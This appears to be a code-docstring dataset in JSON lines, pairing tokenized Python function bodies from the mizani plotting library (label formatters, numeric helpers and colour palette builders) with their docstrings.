{"signature": "def __call__(self, x):", "body": "<EOL>big_mark = self.big_mark<EOL>comma = '<STR_LIT:U+002C>' if big_mark else '<STR_LIT>'<EOL>tpl = '<STR_LIT>'.join((self.prefix, '<STR_LIT>', comma, '<STR_LIT:.>',<EOL>str(self.digits), '<STR_LIT>', self.suffix))<EOL>labels = [tpl.format(val) for val in x]<EOL>if big_mark and big_mark != '<STR_LIT:U+002C>':<EOL><INDENT>labels = [val.replace('<STR_LIT:U+002C>', big_mark) for val in labels]<EOL><DEDENT>return labels<EOL>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c1:m1"}
{"signature": "def __call__(self, x):", "body": "return self.formatter(x)<EOL>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c2:m1"}
{"signature": "def __call__(self, x):", "body": "if len(x) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>_precision = precision(x)<EOL>x = round_any(x, _precision / <NUM_LIT:100>) * <NUM_LIT:100><EOL>if _precision > <NUM_LIT:1>:<EOL><INDENT>digits = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>digits = abs(int(np.log10(_precision)))<EOL><DEDENT>formatter = currency_format(prefix='<STR_LIT>',<EOL>suffix='<STR_LIT:%>',<EOL>digits=digits,<EOL>big_mark=self.big_mark)<EOL>labels = formatter(x)<EOL>pattern = re.compile(r'<STR_LIT>')<EOL>if all(pattern.search(val) for val in labels):<EOL><INDENT>labels = [pattern.sub('<STR_LIT:%>', val) for val in labels]<EOL><DEDENT>return labels<EOL>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c3:m1"}
{"signature": "def __call__(self, x):", "body": "return _format(self.formatter, x)<EOL>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c5:m1"}
{"signature": "def _tidyup_labels(self, labels):", "body": "def remove_zeroes(s):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>tup = s.split('<STR_LIT:e>')<EOL>if len(tup) == <NUM_LIT:2>:<EOL><INDENT>mantissa = tup[<NUM_LIT:0>].rstrip('<STR_LIT:0>').rstrip('<STR_LIT:.>')<EOL>exponent = int(tup[<NUM_LIT:1>])<EOL>if exponent:<EOL><INDENT>s = '<STR_LIT>' % (mantissa, exponent)<EOL><DEDENT>else:<EOL><INDENT>s = mantissa<EOL><DEDENT><DEDENT>return s<EOL><DEDENT>def as_exp(s):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return s if '<STR_LIT:e>' in s else '<STR_LIT>'.format(float(s))<EOL><DEDENT>has_e = np.array(['<STR_LIT:e>' in x for x in labels])<EOL>if not np.all(has_e) and not np.all(~has_e):<EOL><INDENT>labels = [as_exp(x) for x in labels]<EOL><DEDENT>labels = [remove_zeroes(x) for x in labels]<EOL>return labels<EOL>", "docstring": "Make all labels uniform in format and remove redundant zeros\nfor labels in exponential format.\n\nParameters\n----------\nlabels : list-like\n    Labels to be tidied.\n\nReturns\n-------\nout : list-like\n    Labels", "id": "f10513:c6:m1"}
{"signature": "def __call__(self, x):", "body": "if len(x) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>if self.base == <NUM_LIT:10>:<EOL><INDENT>xmin = int(np.floor(np.log10(np.min(x))))<EOL>xmax = int(np.ceil(np.log10(np.max(x))))<EOL>emin, emax = self.exponent_limits<EOL>all_multiples = np.all(<EOL>[np.log10(num).is_integer() for num in x])<EOL>if same_log10_order_of_magnitude(x):<EOL><INDENT>f = mpl_format()<EOL>f.formatter.set_powerlimits((emin, emax))<EOL>return f(x)<EOL><DEDENT>elif all_multiples and (xmin <= emin or xmax >= emax):<EOL><INDENT>fmt = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>fmt = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fmt = '<STR_LIT>'<EOL><DEDENT>labels = [fmt.format(num) for num in x]<EOL>return self._tidyup_labels(labels)<EOL>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c6:m2"}
{"signature": "def __call__(self, x):", "body": "<EOL>if self.tz is None and len(x):<EOL><INDENT>tz = self.formatter.tz = x[<NUM_LIT:0>].tzinfo<EOL>if not all(value.tzinfo == tz for value in x):<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>warn(msg.format(tz.zone))<EOL><DEDENT><DEDENT>x = [date2num(val) for val in x]<EOL>return _format(self.formatter, x)<EOL>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c7:m1"}
{"signature": "def round_any(x, accuracy, f=np.round):", "body": "if not hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>return f(x / accuracy) * accuracy<EOL>", "docstring": "Round to multiple of any number.", "id": "f10514:m0"}
{"signature": "def min_max(x, na_rm=False, finite=True):", "body": "if not hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>if na_rm and finite:<EOL><INDENT>x = x[np.isfinite(x)]<EOL><DEDENT>elif not na_rm and np.any(np.isnan(x)):<EOL><INDENT>return np.nan, np.nan<EOL><DEDENT>elif na_rm:<EOL><INDENT>x = x[~np.isnan(x)]<EOL><DEDENT>elif finite:<EOL><INDENT>x = x[~np.isinf(x)]<EOL><DEDENT>if (len(x)):<EOL><INDENT>return np.min(x), np.max(x)<EOL><DEDENT>else:<EOL><INDENT>return float('<STR_LIT>'), float('<STR_LIT>')<EOL><DEDENT>", "docstring": "Return the minimum and maximum of x\n\nParameters\n----------\nx : array_like\n    Sequence\nna_rm : bool\n    Whether to remove ``nan`` values.\nfinite : bool\n    Whether to consider only finite values.\n\nReturns\n-------\nout : tuple\n    (minimum, maximum) of x", "id": "f10514:m1"}
{"signature": "def match(v1, v2, nomatch=-<NUM_LIT:1>, incomparables=None, start=<NUM_LIT:0>):", "body": "v2_indices = {}<EOL>for i, x in enumerate(v2):<EOL><INDENT>if x not in v2_indices:<EOL><INDENT>v2_indices[x] = i<EOL><DEDENT><DEDENT>v1_to_v2_map = [nomatch] * len(v1)<EOL>skip = set(incomparables) if incomparables else set()<EOL>for i, x in enumerate(v1):<EOL><INDENT>if x in skip:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>v1_to_v2_map[i] = v2_indices[x] + start<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return v1_to_v2_map<EOL>", "docstring": "Return a vector of the positions of (first)\nmatches of its first argument in its second.\n\nParameters\n----------\nv1: array_like\n    Values to be matched\n\nv2: array_like\n    Values to be matched against\n\nnomatch: int\n    Value to be returned in the case when\n    no match is found.\n\nincomparables: array_like\n    Values that cannot be matched. Any value in ``v1``\n    matching a value in this list is assigned the nomatch\n    value.\nstart: int\n    Type of indexing to use. Most likely 0 or 1", "id": "f10514:m2"}
{"signature": "def precision(x):", "body": "from .bounds import zero_range<EOL>rng = min_max(x, na_rm=True)<EOL>if zero_range(rng):<EOL><INDENT>span = np.abs(rng[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>span = np.diff(rng)[<NUM_LIT:0>]<EOL><DEDENT>if span == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:10> ** int(np.floor(np.log10(span)))<EOL><DEDENT>", "docstring": "Return the precision of x\n\nParameters\n----------\nx : array_like | numeric\n    Value(s) whose for which to compute the precision.\n\nReturns\n-------\nout : numeric\n    The precision of ``x`` or that the values in ``x``.\n\nNotes\n-----\nThe precision is computed in base 10.\n\nExamples\n--------\n>>> precision(0.08)\n0.01\n>>> precision(9)\n1\n>>> precision(16)\n10", "id": "f10514:m3"}
{"signature": "def first_element(obj):", "body": "if isinstance(obj, Iterator):<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return next(iter(obj))<EOL>", "docstring": "Return the first element of `obj`\n\nParameters\n----------\nobj : iterable\n    Should not be an iterator\n\nReturns\n-------\nout : object\n    First element of `obj`. Raise a class:`StopIteration`\n    exception if `obj` is empty.", "id": "f10514:m4"}
{"signature": "def multitype_sort(a):", "body": "types = defaultdict(list)<EOL>numbers = {int, float, complex}<EOL>for x in a:<EOL><INDENT>t = type(x)<EOL>if t in numbers:<EOL><INDENT>types['<STR_LIT>'].append(x)<EOL><DEDENT>else:<EOL><INDENT>types[t].append(x)<EOL><DEDENT><DEDENT>for t in types:<EOL><INDENT>types[t] = np.sort(types[t])<EOL><DEDENT>return list(chain(*(types[t] for t in types)))<EOL>", "docstring": "Sort elements of multiple types\n\nx is assumed to contain elements of different types, such that\nplain sort would raise a `TypeError`.\n\nParameters\n----------\na : array-like\n    Array of items to be sorted\n\nReturns\n-------\nout : list\n    Items sorted within their type groups.", "id": "f10514:m5"}
{"signature": "def nearest_int(x):", "body": "if x == <NUM_LIT:0>:<EOL><INDENT>return np.int64(<NUM_LIT:0>)<EOL><DEDENT>elif x > <NUM_LIT:0>:<EOL><INDENT>return np.int64(x + <NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>return np.int64(x - <NUM_LIT:0.5>)<EOL><DEDENT>", "docstring": "Return nearest long integer to x", "id": "f10514:m6"}
{"signature": "def is_close_to_int(x):", "body": "if not np.isfinite(x):<EOL><INDENT>return False<EOL><DEDENT>return abs(x - nearest_int(x)) < <NUM_LIT><EOL>", "docstring": "Check if value is close to an integer\n\nParameters\n----------\nx : float\n    Numeric value to check\n\nReturns\n-------\nout : bool", "id": "f10514:m7"}
{"signature": "def same_log10_order_of_magnitude(x, delta=<NUM_LIT:0.1>):", "body": "dmin = np.log10(np.min(x)*(<NUM_LIT:1>-delta))<EOL>dmax = np.log10(np.max(x)*(<NUM_LIT:1>+delta))<EOL>return np.floor(dmin) == np.floor(dmax)<EOL>", "docstring": "Return true if range is approximately in same order of magnitude\n\nFor example these sequences are in the same order of magnitude:\n\n    - [1, 8, 5]     # [1, 10)\n    - [35, 20, 80]  # [10 100)\n    - [232, 730]    # [100, 1000)\n\nParameters\n----------\nx : array-like\n     Values in base 10. Must be size 2 and\n    ``rng[0] <= rng[1]``.\ndelta : float\n    Fuzz factor for approximation. It is multiplicative.", "id": "f10514:m8"}
{"signature": "def identity(*args):", "body": "return args if len(args) > <NUM_LIT:1> else args[<NUM_LIT:0>]<EOL>", "docstring": "Return whatever is passed in", "id": "f10514:m9"}
{"signature": "def hls_palette(n_colors=<NUM_LIT:6>, h=<NUM_LIT>, l=<NUM_LIT>, s=<NUM_LIT>):", "body": "hues = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, n_colors + <NUM_LIT:1>)[:-<NUM_LIT:1>]<EOL>hues += h<EOL>hues %= <NUM_LIT:1><EOL>hues -= hues.astype(int)<EOL>palette = [colorsys.hls_to_rgb(h_i, l, s) for h_i in hues]<EOL>return palette<EOL>", "docstring": "Get a set of evenly spaced colors in HLS hue space.\n\nh, l, and s should be between 0 and 1\n\nParameters\n----------\n\nn_colors : int\n    number of colors in the palette\nh : float\n    first hue\nl : float\n    lightness\ns : float\n    saturation\n\nReturns\n-------\npalette : list\n    List of colors as RGB hex strings.\n\nSee Also\n--------\nhusl_palette : Make a palette using evenly spaced circular\n    hues in the HUSL system.\n\nExamples\n--------\n>>> len(hls_palette(2))\n2\n>>> len(hls_palette(9))\n9", "id": "f10515:m0"}
{"signature": "def husl_palette(n_colors=<NUM_LIT:6>, h=<NUM_LIT>, s=<NUM_LIT>, l=<NUM_LIT>):", "body": "hues = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, n_colors + <NUM_LIT:1>)[:-<NUM_LIT:1>]<EOL>hues += h<EOL>hues %= <NUM_LIT:1><EOL>hues *= <NUM_LIT><EOL>s *= <NUM_LIT><EOL>l *= <NUM_LIT><EOL>palette = [husl.husl_to_rgb(h_i, s, l) for h_i in hues]<EOL>return palette<EOL>", "docstring": "Get a set of evenly spaced colors in HUSL hue space.\n\nh, s, and l should be between 0 and 1\n\nParameters\n----------\n\nn_colors : int\n    number of colors in the palette\nh : float\n    first hue\ns : float\n    saturation\nl : float\n    lightness\n\nReturns\n-------\npalette : list\n    List of colors as RGB hex strings.\n\nSee Also\n--------\nhls_palette : Make a palette using evenly spaced circular\n    hues in the HSL system.\n\nExamples\n--------\n>>> len(husl_palette(3))\n3\n>>> len(husl_palette(11))\n11", "id": "f10515:m1"}
{"signature": "def rescale_pal(range=(<NUM_LIT:0.1>, <NUM_LIT:1>)):", "body": "def _rescale(x):<EOL><INDENT>return rescale(x, range, _from=(<NUM_LIT:0>, <NUM_LIT:1>))<EOL><DEDENT>return _rescale<EOL>", "docstring": "Rescale the input to the specific output range.\n\nUseful for alpha, size, and continuous position.\n\nParameters\n----------\nrange : tuple\n    Range of the scale\n\nReturns\n-------\nout : function\n    Palette function that takes a sequence of values\n    in the range ``[0, 1]`` and returns values in\n    the specified range.\n\nExamples\n--------\n>>> palette = rescale_pal()\n>>> palette([0, .2, .4, .6, .8, 1])\narray([0.1 , 0.28, 0.46, 0.64, 0.82, 1.  ])\n\nThe returned palette expects inputs in the ``[0, 1]``\nrange. Any value outside those limits is clipped to\n``range[0]`` or ``range[1]``.\n\n>>> palette([-2, -1, 0.2, .4, .8, 2, 3])\narray([0.1 , 0.1 , 0.28, 0.46, 0.82, 1.  , 1.  ])", "id": "f10515:m2"}
{"signature": "def area_pal(range=(<NUM_LIT:1>, <NUM_LIT:6>)):", "body": "def area_palette(x):<EOL><INDENT>return rescale(np.sqrt(x), to=range, _from=(<NUM_LIT:0>, <NUM_LIT:1>))<EOL><DEDENT>return area_palette<EOL>", "docstring": "Point area palette (continuous).\n\nParameters\n----------\nrange : tuple\n    Numeric vector of length two, giving range of possible sizes.\n    Should be greater than 0.\n\nReturns\n-------\nout : function\n    Palette function that takes a sequence of values\n    in the range ``[0, 1]`` and returns values in\n    the specified range.\n\nExamples\n--------\n>>> x = np.arange(0, .6, .1)**2\n>>> palette = area_pal()\n>>> palette(x)\narray([1. , 1.5, 2. , 2.5, 3. , 3.5])\n\nThe results are equidistant because the input ``x`` is in\narea space, i.e it is squared.", "id": "f10515:m3"}
{"signature": "def abs_area(max):", "body": "def abs_area_palette(x):<EOL><INDENT>return rescale(np.sqrt(np.abs(x)), to=(<NUM_LIT:0>, max), _from=(<NUM_LIT:0>, <NUM_LIT:1>))<EOL><DEDENT>return abs_area_palette<EOL>", "docstring": "Point area palette (continuous), with area proportional to value.\n\nParameters\n----------\nmax : float\n    A number representing the maximum size\n\nReturns\n-------\nout : function\n    Palette function that takes a sequence of values\n    in the range ``[0, 1]`` and returns values in the range\n    ``[0, max]``.\n\nExamples\n--------\n>>> x = np.arange(0, .8, .1)**2\n>>> palette = abs_area(5)\n>>> palette(x)\narray([0. , 0.5, 1. , 1.5, 2. , 2.5, 3. , 3.5])\n\nCompared to :func:`area_pal`, :func:`abs_area` will handle values\nin the range ``[-1, 0]`` without returning ``np.nan``. And values\nwhose absolute value is greater than 1 will be clipped to the\nmaximum.", "id": "f10515:m4"}
{"signature": "def grey_pal(start=<NUM_LIT>, end=<NUM_LIT>):", "body": "gamma = <NUM_LIT><EOL>ends = ((<NUM_LIT:0.0>, start, start), (<NUM_LIT:1.0>, end, end))<EOL>cdict = {'<STR_LIT>': ends, '<STR_LIT>': ends, '<STR_LIT>': ends}<EOL>grey_cmap = mcolors.LinearSegmentedColormap('<STR_LIT>', cdict)<EOL>def continuous_grey_palette(n):<EOL><INDENT>colors = []<EOL>for x in np.linspace(start**gamma, end**gamma, n):<EOL><INDENT>x = (x ** (<NUM_LIT:1.>/gamma) - start) / (end - start)<EOL>colors.append(mcolors.rgb2hex(grey_cmap(x)))<EOL><DEDENT>return colors<EOL><DEDENT>return continuous_grey_palette<EOL>", "docstring": "Utility for creating continuous grey scale palette\n\nParameters\n----------\nstart : float\n    grey value at low end of palette\nend : float\n    grey value at high end of palette\n\nReturns\n-------\nout : function\n    Continuous color palette that takes a single\n    :class:`int` parameter ``n`` and returns ``n``\n    equally spaced colors.\n\nExamples\n--------\n>>> palette = grey_pal()\n>>> palette(5)\n['#333333', '#737373', '#989898', '#b5b5b5', '#cccccc']", "id": "f10515:m5"}
{"signature": "def hue_pal(h=<NUM_LIT>, l=<NUM_LIT>, s=<NUM_LIT>, color_space='<STR_LIT>'):", "body": "if not all([<NUM_LIT:0> <= val <= <NUM_LIT:1> for val in (h, l, s)]):<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(h, l, s))<EOL>raise ValueError(msg)<EOL><DEDENT>if color_space not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>name = '<STR_LIT>'.format(color_space)<EOL>palette = globals()[name]<EOL>def _hue_pal(n):<EOL><INDENT>colors = palette(n, h=h, l=l, s=s)<EOL>return [mcolors.rgb2hex(c) for c in colors]<EOL><DEDENT>return _hue_pal<EOL>", "docstring": "Utility for making hue palettes for color schemes.\n\nParameters\n----------\nh : float\n    first hue. In the [0, 1] range\nl : float\n    lightness. In the [0, 1] range\ns : float\n    saturation. In the [0, 1] range\ncolor_space : 'hls' | 'husl'\n    Color space to use for the palette\n\nReturns\n-------\nout : function\n    A discrete color palette that takes a single\n    :class:`int` parameter ``n`` and returns ``n``\n    equally spaced colors. Though the palette\n    is continuous, since it is varies the hue it\n    is good for categorical data. However if ``n``\n    is large enough the colors show continuity.\n\nExamples\n--------\n>>> hue_pal()(5)\n['#db5f57', '#b9db57', '#57db94', '#5784db', '#c957db']\n>>> hue_pal(color_space='husl')(5)\n['#e0697e', '#9b9054', '#569d79', '#5b98ab', '#b675d7']", "id": "f10515:m6"}
{"signature": "def brewer_pal(type='<STR_LIT>', palette=<NUM_LIT:1>):", "body": "def full_type_name(text):<EOL><INDENT>abbrevs = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>text = abbrevs.get(text, text)<EOL>return text.title()<EOL><DEDENT>def number_to_palette_name(ctype, n):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>n -= <NUM_LIT:1><EOL>palettes = sorted(colorbrewer.COLOR_MAPS[ctype].keys())<EOL>if n < len(palettes):<EOL><INDENT>return palettes[n]<EOL><DEDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(len(palettes),<EOL>ctype, n+<NUM_LIT:1>))<EOL><DEDENT>def max_palette_colors(type, palette_name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if type == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:9><EOL><DEDENT>elif type == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:11><EOL><DEDENT>else:<EOL><INDENT>qlimit = {'<STR_LIT>': <NUM_LIT:8>, '<STR_LIT>': <NUM_LIT:8>, '<STR_LIT>': <NUM_LIT:12>,<EOL>'<STR_LIT>': <NUM_LIT:9>, '<STR_LIT>': <NUM_LIT:8>, '<STR_LIT>': <NUM_LIT:9>,<EOL>'<STR_LIT>': <NUM_LIT:8>, '<STR_LIT>': <NUM_LIT:12>}<EOL>return qlimit[palette_name]<EOL><DEDENT><DEDENT>type = full_type_name(type)<EOL>if isinstance(palette, int):<EOL><INDENT>palette_name = number_to_palette_name(type, palette)<EOL><DEDENT>else:<EOL><INDENT>palette_name = palette<EOL><DEDENT>nmax = max_palette_colors(type, palette_name)<EOL>def _brewer_pal(n):<EOL><INDENT>_n = n if n <= nmax else nmax<EOL>try:<EOL><INDENT>bmap = colorbrewer.get_map(palette_name, type, _n)<EOL><DEDENT>except ValueError as err:<EOL><INDENT>if <NUM_LIT:0> <= _n < <NUM_LIT:3>:<EOL><INDENT>bmap = colorbrewer.get_map(palette_name, type, <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>raise err<EOL><DEDENT><DEDENT>hex_colors = bmap.hex_colors[:n]<EOL>if n > nmax:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(palette_name, nmax))<EOL>warnings.warn(msg)<EOL>hex_colors = hex_colors + [None] * (n - nmax)<EOL><DEDENT>return hex_colors<EOL><DEDENT>return _brewer_pal<EOL>", "docstring": "Utility for making a brewer palette\n\nParameters\n----------\ntype : 'sequential' | 'qualitative' | 'diverging'\n    Type of palette. Sequential, Qualitative or\n    Diverging. The following abbreviations may\n    be used, ``seq``, ``qual`` or ``div``.\n\npalette : int | str\n    Which palette to choose from. If is an integer,\n    it must be in the range ``[0, m]``, where ``m``\n    depends on the number sequential, qualitative or\n    diverging palettes. If it is a string, then it\n    is the name of the palette.\n\nReturns\n-------\nout : function\n    A color palette that takes a single\n    :class:`int` parameter ``n`` and returns ``n``\n    colors. The maximum value of ``n`` varies\n    depending on the parameters.\n\nExamples\n--------\n>>> brewer_pal()(5)\n['#EFF3FF', '#BDD7E7', '#6BAED6', '#3182BD', '#08519C']\n>>> brewer_pal('qual')(5)\n['#7FC97F', '#BEAED4', '#FDC086', '#FFFF99', '#386CB0']\n>>> brewer_pal('qual', 2)(5)\n['#1B9E77', '#D95F02', '#7570B3', '#E7298A', '#66A61E']\n>>> brewer_pal('seq', 'PuBuGn')(5)\n['#F6EFF7', '#BDC9E1', '#67A9CF', '#1C9099', '#016C59']\n\nThe available color names for each palette type can be\nobtained using the following code::\n\n    import palettable.colorbrewer as brewer\n\n    print([k for k in brewer.COLOR_MAPS['Sequential'].keys()])\n    print([k for k in brewer.COLOR_MAPS['Qualitative'].keys()])\n    print([k for k in brewer.COLOR_MAPS['Diverging'].keys()])", "id": "f10515:m7"}
{"signature": "def ratios_to_colors(values, colormap):", "body": "iterable = True<EOL>try:<EOL><INDENT>iter(values)<EOL><DEDENT>except TypeError:<EOL><INDENT>iterable = False<EOL>values = [values]<EOL><DEDENT>color_tuples = colormap(values)<EOL>try:<EOL><INDENT>hex_colors = [mcolors.rgb2hex(t) for t in color_tuples]<EOL><DEDENT>except IndexError:<EOL><INDENT>hex_colors = mcolors.rgb2hex(color_tuples)<EOL><DEDENT>return hex_colors if iterable else hex_colors[<NUM_LIT:0>]<EOL>", "docstring": "Map values in the range [0, 1] onto colors\n\nParameters\n----------\nvalues : array_like | float\n    Numeric(s) in the range [0, 1]\ncolormap : cmap\n    Matplotlib colormap to use for the mapping\n\nReturns\n-------\nout : list | float\n    Color(s) corresponding to the values", "id": "f10515:m8"}
{"signature": "def gradient_n_pal(colors, values=None, name='<STR_LIT>'):", "body": "<EOL>if values is None:<EOL><INDENT>colormap = mcolors.LinearSegmentedColormap.from_list(<EOL>name, colors)<EOL><DEDENT>else:<EOL><INDENT>colormap = mcolors.LinearSegmentedColormap.from_list(<EOL>name, list(zip(values, colors)))<EOL><DEDENT>def _gradient_n_pal(vals):<EOL><INDENT>return ratios_to_colors(vals, colormap)<EOL><DEDENT>return _gradient_n_pal<EOL>", "docstring": "Create a n color gradient palette\n\nParameters\n----------\ncolors : list\n    list of colors\nvalues : list, optional\n    list of points in the range [0, 1] at which to\n    place each color. Must be the same size as\n    `colors`. Default to evenly space the colors\nname : str\n    Name to call the resultant MPL colormap\n\nReturns\n-------\nout : function\n    Continuous color palette that takes a single\n    parameter either a :class:`float` or a sequence\n    of floats maps those value(s) onto the palette\n    and returns color(s). The float(s) must be\n    in the range [0, 1].\n\nExamples\n--------\n>>> palette = gradient_n_pal(['red', 'blue'])\n>>> palette([0, .25, .5, .75, 1])\n['#ff0000', '#bf0040', '#7f0080', '#3f00c0', '#0000ff']", "id": "f10515:m9"}
{"signature": "def cmap_pal(name=None, lut=None):", "body": "colormap = get_cmap(name, lut)<EOL>def _cmap_pal(vals):<EOL><INDENT>return ratios_to_colors(vals, colormap)<EOL><DEDENT>return _cmap_pal<EOL>", "docstring": "Create a continuous palette using an MPL colormap\n\nParameters\n----------\nname : str\n    Name of colormap\nlut : None | int\n    This is the number of entries desired in the lookup table.\n    Default is ``None``, leave it up Matplotlib.\n\nReturns\n-------\nout : function\n    Continuous color palette that takes a single\n    parameter either a :class:`float` or a sequence\n    of floats maps those value(s) onto the palette\n    and returns color(s). The float(s) must be\n    in the range [0, 1].\n\nExamples\n--------\n>>> palette = cmap_pal('viridis')\n>>> palette([.1, .2, .3, .4, .5])\n['#482475', '#414487', '#355f8d', '#2a788e', '#21918c']", "id": "f10515:m10"}
{"signature": "def cmap_d_pal(name=None, lut=None):", "body": "colormap = get_cmap(name, lut)<EOL>if not isinstance(colormap, mcolors.ListedColormap):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>ncolors = len(colormap.colors)<EOL>def _cmap_d_pal(n):<EOL><INDENT>if n > ncolors:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(name, ncolors, n))<EOL><DEDENT>if ncolors < <NUM_LIT>:<EOL><INDENT>return [mcolors.rgb2hex(c) for c in colormap.colors[:n]]<EOL><DEDENT>else:<EOL><INDENT>idx = np.linspace(<NUM_LIT:0>, ncolors-<NUM_LIT:1>, n).round().astype(int)<EOL>return [mcolors.rgb2hex(colormap.colors[i]) for i in idx]<EOL><DEDENT><DEDENT>return _cmap_d_pal<EOL>", "docstring": "Create a discrete palette using an MPL Listed colormap\n\nParameters\n----------\nname : str\n    Name of colormap\nlut : None | int\n    This is the number of entries desired in the lookup table.\n    Default is ``None``, leave it up Matplotlib.\n\nReturns\n-------\nout : function\n    A discrete color palette that takes a single\n    :class:`int` parameter ``n`` and returns ``n``\n    colors. The maximum value of ``n`` varies\n    depending on the parameters.\n\nExamples\n--------\n>>> palette = cmap_d_pal('viridis')\n>>> palette(5)\n['#440154', '#3b528b', '#21918c', '#5cc863', '#fde725']", "id": "f10515:m11"}
{"signature": "def desaturate_pal(color, prop, reverse=False):", "body": "if not <NUM_LIT:0> <= prop <= <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>rgb = mcolors.colorConverter.to_rgb(color)<EOL>h, l, s = colorsys.rgb_to_hls(*rgb)<EOL>s *= prop<EOL>desaturated_color = colorsys.hls_to_rgb(h, l, s)<EOL>colors = [color, desaturated_color]<EOL>if reverse:<EOL><INDENT>colors = colors[::-<NUM_LIT:1>]<EOL><DEDENT>return gradient_n_pal(colors, name='<STR_LIT>')<EOL>", "docstring": "Create a palette that desaturate a color by some proportion\n\nParameters\n----------\ncolor : matplotlib color\n    hex, rgb-tuple, or html color name\nprop : float\n    saturation channel of color will be multiplied by\n    this value\nreverse : bool\n    Whether to reverse the palette.\n\nReturns\n-------\nout : function\n    Continuous color palette that takes a single\n    parameter either a :class:`float` or a sequence\n    of floats maps those value(s) onto the palette\n    and returns color(s). The float(s) must be\n    in the range [0, 1].\n\nExamples\n--------\n>>> palette = desaturate_pal('red', .1)\n>>> palette([0, .25, .5, .75, 1])\n['#ff0000', '#e21d1d', '#c53a3a', '#a95656', '#8c7373']", "id": "f10515:m12"}
{"signature": "def manual_pal(values):", "body": "max_n = len(values)<EOL>def _manual_pal(n):<EOL><INDENT>if n > max_n:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>warnings.warn(msg.format(max_n, n))<EOL><DEDENT>return values[:n]<EOL><DEDENT>return _manual_pal<EOL>", "docstring": "Create a palette from a list of values\n\nParameters\n----------\nvalues : sequence\n    Values that will be returned by the palette function.\n\nReturns\n-------\nout : function\n    A function palette that takes a single\n    :class:`int` parameter ``n`` and returns ``n`` values.\n\nExamples\n--------\n>>> palette = manual_pal(['a', 'b', 'c', 'd', 'e'])\n>>> palette(3)\n['a', 'b', 'c']", "id": "f10515:m13"}
{"signature": "def xkcd_palette(colors):", "body": "return [xkcd_rgb[name] for name in colors]<EOL>", "docstring": "Make a palette with color names from the xkcd color survey.\n\nSee xkcd for the full list of colors: http://xkcd.com/color/rgb/\n\nParameters\n----------\ncolors : list of strings\n    List of keys in the ``mizani.external.xkcd_rgb`` dictionary.\n\nReturns\n-------\npalette : list\n    List of colors as RGB hex strings.\n\nExamples\n--------\n>>> palette = xkcd_palette(['red', 'green', 'blue'])\n>>> palette\n['#e50000', '#15b01a', '#0343df']\n\n>>> from mizani.external import xkcd_rgb\n>>> list(sorted(xkcd_rgb.keys()))[:5]\n['acid green', 'adobe', 'algae', 'algae green', 'almost black']", "id": "f10515:m14"}
